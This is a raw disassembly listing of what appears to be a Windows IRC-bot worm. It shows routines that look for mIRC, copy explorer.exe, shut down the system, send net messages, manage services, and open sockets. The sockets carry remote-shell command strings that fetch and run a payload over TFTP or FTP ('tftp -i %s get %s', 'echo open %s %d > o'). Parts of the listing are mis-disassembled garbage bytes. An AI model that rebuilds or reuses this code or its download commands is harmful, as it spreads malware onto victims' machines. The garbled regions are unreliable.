var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_41DEB0 mov eax, [ebp+arg_4] push esi dec eax push edi jz short loc_4175AA dec eax jz short loc_417588 dec eax loc_417582: ; CODE XREF: sub_417569+57j xor eax, eax loc_417584: ; CODE XREF: sub_417569+3Fj ; sub_417569+169j pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_417588: ; CODE XREF: sub_417569+16j push 3 push 1388h push [ebp+arg_0] call ds:dword_451530 push eax call sub_409CC8 add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp short loc_417584 ; --------------------------------------------------------------------------- loc_4175AA: ; CODE XREF: sub_417569+13j push 6 push 1 push 2 call ds:dword_451570 mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz short loc_417582 push ebx xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_41D100 add esp, 0Ch mov [ebp+var_10], 2 push 87h call ds:dword_4514F4 push [ebp+arg_0] mov [ebp+var_E], ax call sub_4024FB pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push esi call ds:dword_45149C cmp eax, edi jz loc_4176C6 push ebx push 48h push offset dword_44D84C push esi call ds:dword_451540 cmp eax, edi jz loc_4176C6 mov esi, 2000h push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call ds:dword_45150C cmp eax, edi jz loc_4176C6 cmp [ebp+var_200E], 0Ch jnz short loc_4176C6 push ebx push 18h push offset dword_44D898 push [ebp+arg_4] call ds:dword_451540 cmp eax, edi jz short loc_4176C6 push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call ds:dword_45150C mov esi, eax cmp esi, edi jz short loc_4176C6 cmp [ebp+var_200E], 2 jnz short loc_4176C6 push 10h push offset dword_44D8B4 lea eax, [ebp+var_2010] push esi push eax call sub_417531 add esp, 10h test al, al jz short loc_4176A6 cmp esi, 12Ch setnl bl inc ebx jmp short loc_4176C6 ; --------------------------------------------------------------------------- loc_4176A6: ; CODE XREF: sub_417569+12Fj push 10h push offset dword_44D8C8 lea eax, [ebp+var_2010] push esi push eax call sub_417531 add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_4176C6: ; CODE XREF: sub_417569+9Bj ; sub_417569+B2j ... push [ebp+arg_4] call ds:dword_451588 mov eax, ebx pop ebx jmp loc_417584 sub_417569 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4176D7 proc near ; CODE XREF: seg000:00403948p ; seg000:0040397Cp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_417762 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_417762 cmp [ebp+arg_8], esi jz short loc_417762 cmp byte ptr [eax], 0 jz short loc_417762 push ebx push edi call sub_437BC0 mov ebx, eax pop ecx test ebx, ebx jz short loc_41775D push [ebp+arg_4] push edi call sub_41DBE0 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_417756 sub eax, edi push eax push edi push ebx call sub_41D800 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_41AC70 push eax push [ebp+arg_8] push ebx call sub_41E710 push [ebp+arg_4] call sub_41AC70 add eax, esi push eax push ebx call sub_41E560 push ebx push edi call sub_41E550 add esp, 30h mov esi, edi loc_417756: ; CODE XREF: sub_4176D7+3Cj push ebx call sub_41B8B0 pop ecx loc_41775D: ; CODE XREF: sub_4176D7+2Bj mov eax, esi pop ebx jmp short loc_417764 ; --------------------------------------------------------------------------- loc_417762: ; CODE XREF: sub_4176D7+Cj ; sub_4176D7+13j ... xor eax, eax loc_417764: ; CODE XREF: sub_4176D7+89j pop edi pop esi pop ebp retn sub_4176D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417768 proc near ; CODE XREF: sub_402EAE+E9p ; sub_411539+F4p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_41D100 mov esi, [ebp+arg_0] push esi call sub_41AC70 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_41779E or eax, 0FFFFFFFFh jmp short loc_417811 ; --------------------------------------------------------------------------- loc_41779E: ; CODE XREF: sub_417768+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_4177C0 loc_4177AA: ; CODE XREF: sub_417768+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_4177B7 cmp dl, 0Dh jnz short loc_4177BB loc_4177B7: ; CODE XREF: sub_417768+48j and byte ptr [ecx+esi], 0 loc_4177BB: ; CODE XREF: sub_417768+4Dj inc ecx cmp ecx, eax jl short loc_4177AA loc_4177C0: ; CODE XREF: sub_417768+40j xor edx, edx push edi test eax, eax jle short loc_4177F1 lea edi, [ebp+var_7CC] loc_4177CD: ; CODE XREF: sub_417768+87j cmp byte ptr [edx+esi], 0 jnz short loc_4177EC cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_4177EC cmp ebx, 1F4h jge short loc_4177F1 mov [edi], ecx inc ebx add edi, 4 loc_4177EC: ; CODE XREF: sub_417768+69j ; sub_417768+74j inc edx cmp edx, eax jl short loc_4177CD loc_4177F1: ; CODE XREF: sub_417768+5Dj ; sub_417768+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_41780F lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_41E840 add esp, 0Ch loc_41780F: ; CODE XREF: sub_417768+8Ej mov eax, ebx loc_417811: ; CODE XREF: sub_417768+34j pop esi pop ebx leave retn sub_417768 endp ; =============== S U B R O U T I N E ======================================= sub_417815 proc near ; CODE XREF: sub_41786F+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_41784E push ebx mov ebx, edi loc_417832: ; CODE XREF: sub_417815+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_417851 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_417832 pop ebx loc_41784E: ; CODE XREF: sub_417815+18j pop edi pop esi retn sub_417815 endp ; =============== S U B R O U T I N E ======================================= sub_417851 proc near ; CODE XREF: sub_417815+25p ; sub_41786F+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_420960 cmp al, 61h pop ecx jl short loc_41786C cmp al, 7Ah jg short loc_41786C movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_41786C: ; CODE XREF: sub_417851+Ej ; sub_417851+12j xor eax, eax retn sub_417851 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41786F proc near ; CODE XREF: seg000:004162B0p ; seg000:00416335p ... var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_41DEB0 push ebx push esi push edi push [ebp+arg_0] call sub_41AC70 push [ebp+arg_4] mov [ebp+var_4], eax call sub_41AC70 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_417815 add esp, 14h dec esi mov edi, esi loc_4178AD: ; CODE XREF: sub_41786F+B6j test esi, esi jle short loc_41792B mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_420960 mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_420960 pop ecx cmp eax, ebx pop ecx jz short loc_417923 loc_4178D3: ; CODE XREF: sub_41786F+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_417851 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_4178F4 mov eax, ecx loc_4178F4: ; CODE XREF: sub_41786F+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_417927 mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_420960 mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_420960 pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_4178D3 loc_417923: ; CODE XREF: sub_41786F+62j dec edi dec esi jmp short loc_4178AD ; --------------------------------------------------------------------------- loc_417927: ; CODE XREF: sub_41786F+8Aj xor eax, eax jmp short loc_417930 ; --------------------------------------------------------------------------- loc_41792B: ; CODE XREF: sub_41786F+40j mov eax, [ebp+arg_0] add eax, edi loc_417930: ; CODE XREF: sub_41786F+BAj pop edi pop esi pop ebx leave retn sub_41786F endp ; --------------------------------------------------------------------------- loc_417935: ; CODE XREF: seg000:0040667Ep ; seg000:0040704Dp push ebp mov ebp, esp sub esp, 100h push esi call ds:dword_4F1310 ; RtlGetLastWin32Error mov esi, eax push 0 lea eax, [ebp-100h] push 100h push eax push 400h push esi push 0 push 1200h call near ptr 3D0000h sub cl, [ebp-0FF7Bh] dec dword ptr [edx+1FF98008h] ; CODE XREF: seg000:0041797Bj jg short loc_41797A cmp cl, 9 jnz short loc_41797D loc_41797A: ; CODE XREF: seg000:00417973j inc eax jmp short near ptr loc_41796D+1 ; --------------------------------------------------------------------------- loc_41797D: ; CODE XREF: seg000:00417978j ; seg000:00417990j ... and byte ptr [eax], 0 dec eax lea ecx, [ebp-100h] cmp eax, ecx jb short loc_417997 mov cl, [eax] cmp cl, 2Eh jz short loc_41797D cmp cl, 21h jl short loc_41797D loc_417997: ; CODE XREF: seg000:00417989j lea eax, [ebp-100h] push esi push eax mov esi, offset dword_4EDCD4 push dword ptr [ebp+8] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41D360 add esp, 18h mov eax, esi pop esi leave retn ; =============== S U B R O U T I N E ======================================= sub_4179BF proc near ; CODE XREF: seg000:00407BE3p push esi push 0 call ds:dword_4514C4 test eax, eax jz short loc_4179F6 push 1 call ds:dword_4514E4 mov esi, eax test esi, esi jz short loc_4179F6 push edi push esi call ds:dword_4F13D8 ; GlobalLock push esi mov edi, eax call ds:dword_4F13D4 ; GlobalUnlock call ds:dword_451544 mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4179F6: ; CODE XREF: sub_4179BF+Bj ; sub_4179BF+19j xor eax, eax pop esi retn sub_4179BF endp ; =============== S U B R O U T I N E ======================================= sub_4179FA proc near ; CODE XREF: seg000:00406FFCp push ebp push esi xor esi, esi push esi push offset aMirc_2 ; "mIRC" call ds:dword_451500 mov ebp, eax cmp ebp, esi jz short loc_417A7A push ebx push edi push offset aMirc_3 ; "mIRC" push 1000h push esi push 4 push esi push 0FFFFFFFFh call near ptr 3D0000h test eax, 0F88B5656h push esi push 0F001Fh push edi call near ptr 3D0000h mov edi, 142474FFh mov ebx, eax push ebx call sub_41D260 pop ecx pop ecx push esi push 1 push 4C8h push ebp call ds:dword_45154C push esi push 1 push 4C9h push ebp call ds:dword_45154C push ebx call near ptr 3D0000h call near ptr 0FC5779C7h adc cl, [edi+0] push 1 pop eax pop edi pop ebx jmp short loc_417A7C ; --------------------------------------------------------------------------- loc_417A7A: ; CODE XREF: sub_4179FA+14j xor eax, eax loc_417A7C: ; CODE XREF: sub_4179FA+7Ej pop esi pop ebp retn sub_4179FA endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp-11Ch] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call ds:dword_4515AC test eax, eax jz short near ptr loc_417B1D+1 mov edi, 80h push esi push edi push 3 push esi mov esi, ds:dword_4F1380 push 1 lea eax, [ebp-11Ch] push 80000000h push eax call esi ; dword_4F1380 mov ebx, eax cmp ebx, 0FFFFFFFFh jz short near ptr loc_417B1D+1 lea eax, [ebp-18h] push eax lea eax, [ebp-8] push eax lea eax, [ebp-10h] push eax push ebx call near ptr 3D0000h push ecx push ebx mov ebx, ds:dword_4F12FC call ebx ; dword_4F12FC push 0 push edi push 3 push 0 push 2 push 40000000h push dword ptr [ebp+8] call esi ; dword_4F1380 mov esi, eax cmp esi, 0FFFFFFFFh jz short near ptr loc_417B1D+1 lea eax, [ebp-18h] push eax lea eax, [ebp-8] push eax lea eax, [ebp-10h] push eax push esi call near ptr 3D0000h mov [esi-1], dl loc_417B1D: ; CODE XREF: seg000:00417AA9j ; seg000:00417AD0j ... rcr dword ptr [edi+5Eh], cl pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 454h push esi xor esi, esi push 10h lea eax, [ebp-10h] push esi push eax call sub_41D100 push 44h lea eax, [ebp-54h] push esi push eax call sub_41D100 push dword ptr [ebp+0Ch] lea eax, [ebp-454h] mov dword ptr [ebp-54h], 44h mov dword ptr [ebp-28h], 1 push dword ptr [ebp+8] mov [ebp-24h], si push offset aSS_5 ; "%s %s" push 400h push eax call sub_41D360 add esp, 2Ch lea eax, [ebp-10h] push eax lea eax, [ebp-54h] push eax push esi push esi push 28h push esi push esi lea eax, [ebp-454h] loc_417B8C: ; CODE XREF: seg000:00417BFDj push esi push eax push dword ptr [ebp+8] call near ptr 3D0000h adc edi, esi fcomp dword ptr [ebx] rcr byte ptr [esi+23h], 45h clc leave retn ; =============== S U B R O U T I N E ======================================= sub_417BA1 proc near ; CODE XREF: seg000:00403FF9p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_418FDB pop ecx pop ecx push 50005h push 6 call ds:dword_451438 neg eax sbb eax, eax neg eax retn sub_417BA1 endp ; --------------------------------------------------------------------------- loc_417BC3: ; CODE XREF: seg000:00407E53p push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp ds:dword_43CC70, esi push edi jz short loc_417BE7 cmp ds:dword_4515C0, esi jnz short loc_417BE7 push esi call start pop ecx loc_417BE7: ; CODE XREF: seg000:00417BD6j ; seg000:00417BDEj call sub_408F08 lea eax, [ebp-764h] push eax push 400h call near ptr 3D0000h jns short loc_417B8C test [eax+edi*8-72AF0001h], ebx test [eax+68FFFFFDh], esp sub al, 0D9h inc esp add [eax-18h], dl dec edx push esi ; --------------------------------------------------------------------------- dd 0C4830000h, 0A0858D0Ch, 56FFFFFDh, 56026A56h, 6856h dd 0FF504000h, 4F138015h, 3BF88B00h, 0C860FFEh, 8D000001h dd 0FFFDA085h, 858D50FFh, 0FFFFF89Ch, 44D93868h, 0DE85000h dd 83000056h, 458D0CC4h, 8D5056FCh, 0FFF89C85h, 9E850FFh dd 59000030h, 9C858D50h, 50FFFFF8h, 838AE857h, 57F3FFFBh dd 12FC15FFh, 106A004Fh, 56EC458Dh, 5476E850h, 446A0000h dd 5FA8458Dh, 0E8505657h, 5468h, 8918C483h, 4BFA87Dh, 8D000001h dd 0FFFEA485h, 565057FFh, 0D8B445C7h, 0C7004EDEh, 1D445h dd 89660000h, 3DE8D875h, 3DFFFB83h, 8336E850h, 8D41FFFBh dd 0FFFEA485h, 15FF50FFh, 4F1334h, 74FFF883h, 0A4858D12h dd 68FFFFFEh, 80h, 8312E850h, 8D12FFFBh, 0FFFEA485h, 858D50FFh dd 0FFFFFDA0h, 9C858D50h, 68FFFFF8h, 44D97Ch, 5552E850h dd 0C4830000h, 9C858D10h, 57FFFFFCh, 9C858D50h, 50FFFFF8h dd 0FB82DBE8h, 458DA6FFh, 458D50ECh, 565650A8h, 400868h dd 56016A00h, 0FC9C858Dh, 5056FFFFh, 82BAE856h, 5FC6FFFBh ; --------------------------------------------------------------------------- pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 294h push edi xor edi, edi push 94h lea eax, [ebp-94h] push edi push eax call sub_41D100 add esp, 0Ch lea eax, [ebp-94h] mov dword ptr [ebp-94h], 94h push eax call ds:dword_4F1358 ; GetVersionExA cmp dword ptr [ebp-84h], 2 jnz short loc_417DE1 push dword ptr [ebp+18h] push dword ptr [ebp+14h] call ds:dword_451474 push edi push eax call ds:dword_451484 test eax, eax jz short loc_417DD3 push dword ptr [ebp+18h] push offset dword_44D994 loc_417DAC: ; CODE XREF: seg000:00417DDFj lea eax, [ebp-294h] push eax call sub_41D260 push edi lea eax, [ebp-294h] push dword ptr [ebp+10h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40145D add esp, 20h jmp short loc_417E0B ; --------------------------------------------------------------------------- loc_417DD3: ; CODE XREF: seg000:00417DA2j call ds:dword_4F1310 ; RtlGetLastWin32Error push eax push offset dword_44D9CC jmp short loc_417DAC ; --------------------------------------------------------------------------- loc_417DE1: ; CODE XREF: seg000:00417D8Aj lea eax, [ebp-294h] push offset dword_44DA14 push eax call sub_41D260 push edi lea eax, [ebp-294h] push dword ptr [ebp+10h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40145D add esp, 1Ch loc_417E0B: ; CODE XREF: seg000:00417DD1j pop edi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417E0E proc near ; CODE XREF: seg000:0040AFC0p ; sub_40B8D0+430p ... var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41D100 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call ds:dword_451530 push [ebp+arg_BC] mov [ebp+var_C], eax call ds:dword_4514F4 push edi push 1 push 2 mov [ebp+var_E], ax call ds:dword_451570 mov esi, eax cmp esi, 0FFFFFFFFh mov [ebp+arg_BC], esi jz loc_417F11 lea eax, [ebp+var_10] push 10h push eax push esi call ds:dword_45149C cmp eax, 0FFFFFFFFh jz loc_417F11 mov ebx, 400h push edi lea eax, [ebp+var_5A0] push ebx push eax push esi call ds:dword_45150C mov esi, offset byte_43CCBC push esi push esi push [ebp+arg_0] call sub_402617 pop ecx mov edi, 190h push eax push offset aTftpISGetSS ; "tftp -i %s get %s &%s\r\n" lea eax, [ebp+var_1A0] push edi push eax call sub_41D360 movzx eax, word ptr ds:dword_4DF1B8 add esp, 18h push esi push esi push eax push [ebp+arg_0] call sub_402617 pop ecx push eax push offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_1A0] push edi push eax call sub_41D360 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_41AC70 pop ecx push eax lea eax, [ebp+var_1A0] push eax push [ebp+arg_BC] call ds:dword_451540 cmp eax, 0FFFFFFFFh jnz short loc_417F15 loc_417F11: ; CODE XREF: sub_417E0E+56j ; sub_417E0E+6Cj xor al, al jmp short loc_417F39 ; --------------------------------------------------------------------------- loc_417F15: ; CODE XREF: sub_417E0E+101j push 0 lea eax, [ebp+var_5A0] push ebx push eax push [ebp+arg_BC] call ds:dword_45150C push [ebp+arg_BC] call ds:dword_451588 mov al, 1 loc_417F39: ; CODE XREF: sub_417E0E+105j pop edi pop esi pop ebx leave retn sub_417E0E endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 1C0h lea eax, [ebp-94h] mov dword ptr [ebp-94h], 94h push eax call ds:dword_4F1358 ; GetVersionExA cmp dword ptr [ebp-90h], 4 jnz short loc_417F94 cmp dword ptr [ebp-8Ch], 0 jnz short loc_417F7D push 1 pop eax cmp [ebp-84h], eax jnz short loc_417F94 leave retn ; --------------------------------------------------------------------------- loc_417F7D: ; CODE XREF: seg000:00417F6Ej cmp dword ptr [ebp-8Ch], 0Ah jz short loc_417F8F cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_417F94 loc_417F8F: ; CODE XREF: seg000:00417F84j push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_417F94: ; CODE XREF: seg000:00417F65j ; seg000:00417F79j ... push esi push edi push offset aNetapi32_dll_0 ; "netapi32.dll" call ds:dword_4F130C ; LoadLibraryA mov esi, eax push offset aNetmessagebu_0 ; "NetMessageBufferSend" push esi call ds:dword_4F1314 push 32h mov edi, eax push dword ptr [ebp+8] lea eax, [ebp-1C0h] push eax call sub_41FEE0 push 32h lea eax, [ebp-15Ch] push dword ptr [ebp+0Ch] push eax call sub_41FEE0 push 32h lea eax, [ebp-0F8h] push dword ptr [ebp+10h] push eax call sub_41FEE0 lea eax, [ebp-0F8h] push eax call sub_4201B0 shl eax, 1 push eax lea eax, [ebp-0F8h] push eax lea eax, [ebp-15Ch] push eax lea eax, [ebp-1C0h] push eax push 0 call edi ; GetTickCount add esp, 3Ch mov edi, eax push esi call near ptr 3D0000h mov cl, [ebx-36A1A039h] retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41801E proc near ; CODE XREF: seg000:00408647p ; seg000:0040DE91p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call ds:dword_4F1340 ; GetTickCount push eax call sub_41DB90 pop ecx call sub_41DBA0 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul ds:dbl_4394C8 call sub_41F33C sub esi, eax mov eax, esi pop esi leave retn sub_41801E endp ; =============== S U B R O U T I N E ======================================= sub_41805B proc near ; CODE XREF: seg000:00404A41p ; seg000:00404AA2p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_4180C0 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push ds:dword_44DB08[esi] push edi push eax call sub_4180E2 add esp, 14h test eax, eax jnz short loc_4180A3 push edi push ds:off_44DB04[esi] mov esi, offset dword_4EE59C push offset unk_44DBC8 push esi call sub_41D260 add esp, 10h jmp short loc_4180DD ; --------------------------------------------------------------------------- loc_4180A3: ; CODE XREF: sub_41805B+2Aj push eax call sub_418184 push eax push edi mov esi, offset dword_4EE59C push offset unk_44DBFC push esi call sub_41D260 add esp, 14h jmp short loc_4180DD ; --------------------------------------------------------------------------- loc_4180C0: ; CODE XREF: sub_41805B+Cj lea eax, [eax+eax*2] mov esi, offset dword_4EE59C push ds:off_44DB00[eax*4] push offset unk_44DC40 push esi call sub_41D260 add esp, 0Ch loc_4180DD: ; CODE XREF: sub_41805B+46j ; sub_41805B+63j mov eax, esi pop edi pop esi retn sub_41805B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4180E2 proc near ; CODE XREF: sub_41805B+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call ds:dword_4514E8 mov edi, eax cmp edi, ebx jnz short loc_418109 call ds:dword_4F1310 ; RtlGetLastWin32Error mov ebx, eax jmp short loc_41817E ; --------------------------------------------------------------------------- loc_418109: ; CODE XREF: sub_4180E2+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call ds:dword_4513D4 mov esi, eax cmp esi, ebx jnz short loc_418129 call ds:dword_4F1310 ; RtlGetLastWin32Error mov ebx, eax jmp short loc_418176 ; --------------------------------------------------------------------------- loc_418129: ; CODE XREF: sub_4180E2+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_41815C cmp eax, 3 jz short loc_41814D jle short loc_41816F cmp eax, 6 jg short loc_41816F lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call ds:dword_451440 jmp short loc_418163 ; --------------------------------------------------------------------------- loc_41814D: ; CODE XREF: sub_4180E2+52j push [ebp+arg_10] push [ebp+arg_C] push esi call ds:dword_4513DC jmp short loc_418163 ; --------------------------------------------------------------------------- loc_41815C: ; CODE XREF: sub_4180E2+4Dj push esi call ds:dword_451444 loc_418163: ; CODE XREF: sub_4180E2+69j ; sub_4180E2+78j test eax, eax jnz short loc_41816F call ds:dword_4F1310 ; RtlGetLastWin32Error mov ebx, eax loc_41816F: ; CODE XREF: sub_4180E2+54j ; sub_4180E2+59j ... push esi call ds:dword_4513F0 loc_418176: ; CODE XREF: sub_4180E2+45j push edi call ds:dword_4513F0 pop esi loc_41817E: ; CODE XREF: sub_4180E2+25j mov eax, ebx pop edi pop ebx leave retn sub_4180E2 endp ; =============== S U B R O U T I N E ======================================= sub_418184 proc near ; CODE XREF: sub_41805B+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_418239 jz loc_418232 add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_4181FC jz short loc_4181F2 mov ecx, eax sub ecx, 3 jz short loc_4181E8 dec ecx dec ecx jz short loc_4181DE dec ecx jz short loc_4181D4 sub ecx, 51h jz short loc_4181CA sub ecx, 24h jnz loc_4182AF ; default ; jumptable 00418256 cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_4182A1 ; --------------------------------------------------------------------------- loc_4181CA: ; CODE XREF: sub_418184+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_4182A1 ; --------------------------------------------------------------------------- loc_4181D4: ; CODE XREF: sub_418184+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_4182A1 ; --------------------------------------------------------------------------- loc_4181DE: ; CODE XREF: sub_418184+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_4182A1 ; --------------------------------------------------------------------------- loc_4181E8: ; CODE XREF: sub_418184+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_4182A1 ; --------------------------------------------------------------------------- loc_4181F2: ; CODE XREF: sub_418184+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_4182A1 ; --------------------------------------------------------------------------- loc_4181FC: ; CODE XREF: sub_418184+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_41822B dec ecx jz short loc_418224 dec ecx jz short loc_41821D dec ecx jnz loc_4182AF ; default ; jumptable 00418256 cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_4182A1 ; --------------------------------------------------------------------------- loc_41821D: ; CODE XREF: sub_418184+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_4182A1 ; --------------------------------------------------------------------------- loc_418224: ; CODE XREF: sub_418184+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_4182A1 ; --------------------------------------------------------------------------- loc_41822B: ; CODE XREF: sub_418184+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_4182A1 ; --------------------------------------------------------------------------- loc_418232: ; CODE XREF: sub_418184+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_4182A1 ; --------------------------------------------------------------------------- loc_418239: ; CODE XREF: sub_418184+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_4182AF ; default ; jumptable 00418256 cases 1,5,6,8,9,12,13,15,16 jz short loc_41829C lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_4182AF ; default ; jumptable 00418256 cases 1,5,6,8,9,12,13,15,16 movzx ecx, ds:byte_4182F0[ecx] jmp ds:off_4182C8[ecx*4] ; switch jump loc_41825D: ; DATA XREF: seg000:off_4182C8o push offset aTheSpecifiedDa ; jumptable 00418256 case 7 jmp short loc_4182A1 ; --------------------------------------------------------------------------- loc_418264: ; CODE XREF: sub_418184+D2j ; DATA XREF: seg000:off_4182C8o push offset aTheServiceDepe ; jumptable 00418256 case 17 jmp short loc_4182A1 ; --------------------------------------------------------------------------- loc_41826B: ; CODE XREF: sub_418184+D2j ; DATA XREF: seg000:off_4182C8o push offset aTheServiceDe_0 ; jumptable 00418256 case 10 jmp short loc_4182A1 ; --------------------------------------------------------------------------- loc_418272: ; CODE XREF: sub_418184+D2j ; DATA XREF: seg000:off_4182C8o push offset aTheServiceHasB ; jumptable 00418256 case 0 jmp short loc_4182A1 ; --------------------------------------------------------------------------- loc_418279: ; CODE XREF: sub_418184+D2j ; DATA XREF: seg000:off_4182C8o push offset aTheSpecified_0 ; jumptable 00418256 case 2 jmp short loc_4182A1 ; --------------------------------------------------------------------------- loc_418280: ; CODE XREF: sub_418184+D2j ; DATA XREF: seg000:off_4182C8o push offset aTheServiceCoul ; jumptable 00418256 case 11 jmp short loc_4182A1 ; --------------------------------------------------------------------------- loc_418287: ; CODE XREF: sub_418184+D2j ; DATA XREF: seg000:off_4182C8o push offset aTheServiceHa_0 ; jumptable 00418256 case 14 jmp short loc_4182A1 ; --------------------------------------------------------------------------- loc_41828E: ; CODE XREF: sub_418184+D2j ; DATA XREF: seg000:off_4182C8o push offset aTheRequested_1 ; jumptable 00418256 case 3 jmp short loc_4182A1 ; --------------------------------------------------------------------------- loc_418295: ; CODE XREF: sub_418184+D2j ; DATA XREF: seg000:off_4182C8o push offset aTheServiceHasN ; jumptable 